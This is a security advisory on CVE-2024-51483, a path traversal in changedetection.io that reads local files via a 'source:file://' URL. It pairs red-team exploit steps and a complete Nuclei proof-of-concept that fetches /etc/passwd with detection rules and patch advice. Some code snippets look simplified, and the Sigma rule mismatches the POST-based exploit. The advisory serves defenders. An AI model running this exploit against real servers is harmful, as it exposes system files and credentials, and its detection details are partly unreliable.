CVE-2024-51483

Executive Summary

CVE-2024-51483 is a path traversal vulnerability in changedetection.io, an open-source web page change detection tool. The vulnerability allows an unauthenticated attacker to read arbitrary local system files when the application is configured to use a WebDriver for fetching content. By using the source:file:///etc/passwd URL scheme, an attacker can bypass the existing block on the standard file:/// scheme and retrieve sensitive files, such as /etc/passwd. This vulnerability affects all versions prior to 0.47.5. The CVSS score is 8.6 (High) due to the ease of exploitation and the potential for high confidentiality impact. The provided Nuclei template confirms a working proof-of-concept.

Supply Chain & Package Security

This is a Python-based application (PyPI package). The vulnerability exists in the application's own code, not in a third-party dependency. However, the use of a WebDriver (e.g., Selenium) introduces a larger attack surface. The fix is a direct patch to the application's source code.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) - Sensitive system files can be read.
• Integrity (I): None (N) - No file modification is possible.
• Availability (A): None (N) - No denial of service.

CVSS Score: 8.6 (High)

Threat Level: High. The exploit is simple, requires no authentication, and can lead to the disclosure of sensitive system information (e.g., passwords, configuration files, SSH keys).

Deep Dive & Mechanics

The vulnerability resides in how changedetection.io handles URL schemes when using a WebDriver (e.g., Selenium/ChromeDriver) to fetch web pages. The application has a blocklist that prevents the use of the file:/// scheme to read local files. However, the blocklist is incomplete. The WebDriver interprets source:file:///etc/passwd as a valid URL, where source: is a custom scheme that the application uses to indicate the source of the content. The application then passes the entire string to the WebDriver, which interprets file:///etc/passwd as a local file path, bypassing the block.

The vulnerable code path is in the processors/__init__.py file, where the URL is processed and passed to the WebDriver. The blocklist only checks for the exact string file://, but not for variations like source:file://.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 0.47.5):

# In processors/__init__.py
def fetch_url(url, ...):
    # Blocklist for file:// scheme
    if url.startswith('file://'):
        raise Exception("Blocked")
    # ... rest of the code passes url to WebDriver

Patched Code (version 0.47.5):

# In processors/__init__.py
def fetch_url(url, ...):
    # More robust blocklist that also checks for variations
    if 'file://' in url:
        raise Exception("Blocked")
    # ... rest of the code

The patch changes the check from url.startswith('file://') to 'file://' in url, which catches the source:file:// bypass.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a vulnerable instance of changedetection.io (version <= 0.47.4) with a WebDriver configured (e.g., ChromeDriver).
2. Exploit Steps:
   • Log in to the application (if authentication is enabled, but the exploit works without it).
   • Navigate to the "Add Watch" page.
   • In the URL field, enter: source:file:///etc/passwd
   • Set the "Fetch Backend" to "WebDriver" (this is a global setting, but can be set per-watch).
   • Submit the watch.
   • Wait for the watch to fetch the content (the Nuclei template uses a 9-second delay).
   • View the watch's preview or diff to see the contents of /etc/passwd.

Nuclei Template (Provided):

id: CVE-2024-51483

info:
  name: Changedetection.io <= 0.47.4 - Path Traversal
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    changedetection.io is free, open source web page change detection software. Prior to version 0.47.5, when a WebDriver is used to fetch files, `source-file-///etc/passwd` can be used to retrieve local system files, where the more traditional `file-///etc/passwd` gets blocked. Version 0.47.5 fixes the issue.
  impact: |
    Attackers can exploit this vulnerability to compromise system security.
  remediation: |
    Apply security patches to address CVE-2024-51483.
  reference:
    - https://github.com/advisories/GHSA-cwgg-57xj-g77r
    - https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L19
    - https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/processors/__init__.py#L35
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-cwgg-57xj-g77r
    - https://github.com/user-attachments/files/17591630/CL-ChangeDetection.io.Path.Travsersal-311024-181039.pdf
  classification:
    cve-id: CVE-2024-51483
    cwe-id: CWE-22
    epss-score: 0.39091
    epss-percentile: 0.97291
    cpe: cpe:2.3:a:changedetection:changedetection:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: changedetection
    product: changedetection
    shodan-query: http.title:"change detection"
    fofa-query: title="change detection"
    google-query: intitle:"change detection"
  tags: cve,cve2024,changedetection,lfi,vuln

http:
  - raw:
      - |
        GET /settings HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="csrf_token" value="(.*)?"'
        internal: true

  - raw:
      - |
        POST /settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf}}&requests-time_between_check-weeks=&requests-time_between_check-days=&requests-time_between_check-hours=3&requests-time_between_check-minutes=&requests-time_between_check-seconds=&requests-jitter_seconds=0&application-filter_failure_notification_threshold_attempts=6&application-password=&application-rss_hide_muted_watches=y&application-pager_size=50&application-notification_urls=&application-notification_title=ChangeDetection.io+Notification+-+%7B%7Bwatch_url%7D%7D&application-notification_body=%7B%7Bwatch_url%7D%7D+had+a+change.%0D%0A---%0D%0A%7B%7Bdiff%7D%7D%0D%0A---%0D%0A&application-notification_format=Text&application-base_url=&application-fetch_backend=html_webdriver&application-webdriver_delay=&requests-default_ua-html_requests=Mozilla%2F5.0+%28X11%3B+Linux+x86_64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F87.0.4280.66+Safari%2F537.36&requests-default_ua-html_webdriver=&application-ignore_whitespace=y&application-global_subtractive_selectors=&application-global_ignore_text=&application-api_access_token_enabled=y&requests-extra_proxies-0-proxy_name=&requests-extra_proxies-0-proxy_url=&requests-extra_proxies-1-proxy_name=&requests-extra_proxies-1-proxy_url=&requests-extra_proxies-2-proxy_name=&requests-extra_proxies-2-proxy_url=&requests-extra_proxies-3-proxy_name=&requests-extra_proxies-3-proxy_url=&requests-extra_proxies-4-proxy_name=&requests-extra_proxies-4-proxy_url=&requests-extra_browsers-0-browser_name=&requests-extra_browsers-0-browser_connection_url=&requests-extra_browsers-1-browser_name=&requests-extra_browsers-1-browser_connection_url=&requests-extra_browsers-2-browser_name=&requests-extra_browsers-2-browser_connection_url=&requests-extra_browsers-3-browser_name=&requests-extra_browsers-3-browser_connection_url=&requests-extra_browsers-4-browser_name=&requests-extra_browsers-4-browser_connection_url=&save_button=Save

    skip-variables-check: true

  - method: GET
    path:
      - "{{BaseURL}}/"
    extractors:
      - type: regex
        name: csrf2
        part: body
        group: 1
        regex:
          - 'name="csrf_token" value="(.*)?"'
        internal: true

  - raw:
      - |
        POST /form/add/quickwatch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf2}}&url=source%3Afile%3A%2F%2Fetc%2Fpasswd&tags=&watch_submit_button=Watch&processor=text_json_diff

    matchers:
      - type: dsl
        dsl:
          - "status_code==302"
        internal: true

  - raw:
      - |
        GET /?{{wait_for(9)}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: uuid
        part: body
        group: 1
        regex:
          - '/etc/passwd"><\/a>\n.*?uuid=(.*?)"'
        internal: true

  - raw:
      - |
        GET /preview/{{uuid}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'root:x:0')"
          - "contains(content_type,'text/html')"
          - 'status_code == 200'
        condition: and

Blue Team (Detection & Response)

1. Detection:
   • Monitor web server logs for requests containing source:file:// or file:// in the URL path.
   • Look for unusual GET requests to /preview/ followed by a UUID.
   • Monitor for the creation of watches with source:file:// URLs.
2. Response:
   • Immediately isolate the affected server.
   • Check for any other files that may have been accessed (e.g., /etc/shadow, /root/.ssh/id_rsa).
   • Rotate any credentials that may have been exposed.
   • Apply the patch by upgrading to version 0.47.5 or later.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with source:file:// in the URL.
  • HTTP requests to /preview/ with a UUID parameter.
  • Unusual outbound connections from the changedetection.io server (if the WebDriver is configured to use a remote browser).
• File System IOCs:
  • Presence of /etc/passwd or other sensitive files in the application's data directory (e.g., in the datastore folder).
• Log IOCs:
  • Application logs showing errors or warnings related to file access.
  • Web server logs showing requests to /preview/ with a UUID.

Detection Engineering

YARA Rule

rule CVE_2024_51483_Changedetection_Path_Traversal {
    meta:
        description = "Detects attempts to exploit CVE-2024-51483 in changedetection.io"
        author = "Valters IT"
        date = "2024-11-03"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-51483"
        severity = "high"
    strings:
        $s1 = "source:file://" ascii wide nocase
        $s2 = "file://" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-51483 - Changedetection.io Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-51483
author: Valters IT
date: 2024/11/03
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51483
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'source:file://'
            - 'file://'
    condition: selection
falsepositives:
    - Legitimate use of file:// scheme in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51483 - Changedetection.io Path Traversal Attempt"; flow:to_server,established; content:"source:file://"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade changedetection.io to version 0.47.5 or later.
2. Workaround: If immediate patching is not possible, disable the use of WebDriver for fetching content. This can be done by setting the fetch_backend to html_requests in the settings.
3. Network Segmentation: Ensure that the changedetection.io server is not accessible from the public internet if possible. Use a VPN or firewall to restrict access.
4. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing source:file:// or file:// in the URL.
5. Monitoring: Implement the detection rules provided above to monitor for exploitation attempts.

Valters IT - Securing Your Digital Frontier

{/* [Security Hash: 0655A9CF28408434207E0FB1] */}